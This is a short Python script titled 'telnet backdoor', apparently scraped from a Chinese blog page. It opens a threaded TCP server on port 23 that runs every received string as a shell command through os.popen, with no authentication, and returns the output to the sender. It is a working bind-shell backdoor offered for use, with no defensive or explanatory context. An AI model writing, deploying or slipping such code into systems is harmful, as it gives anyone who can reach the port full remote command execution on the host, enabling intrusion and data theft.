import socketserver,os
PORT = 23
class Handler(socketserver.BaseRequestHandler):
def handle(self):
while True:
t=''
self.data = self.request.recv(1024).strip()
c=os.popen(self.data.decode())
for i in c:
t=t+i
self.request.send(t.encode('gbk'))
vtyd = socketserver.ThreadingTCPServer(("", PORT), Handler)
vtyd.serve_forever()
telnet backdoor
最新推荐文章于 2023-07-06 17:43:33 发布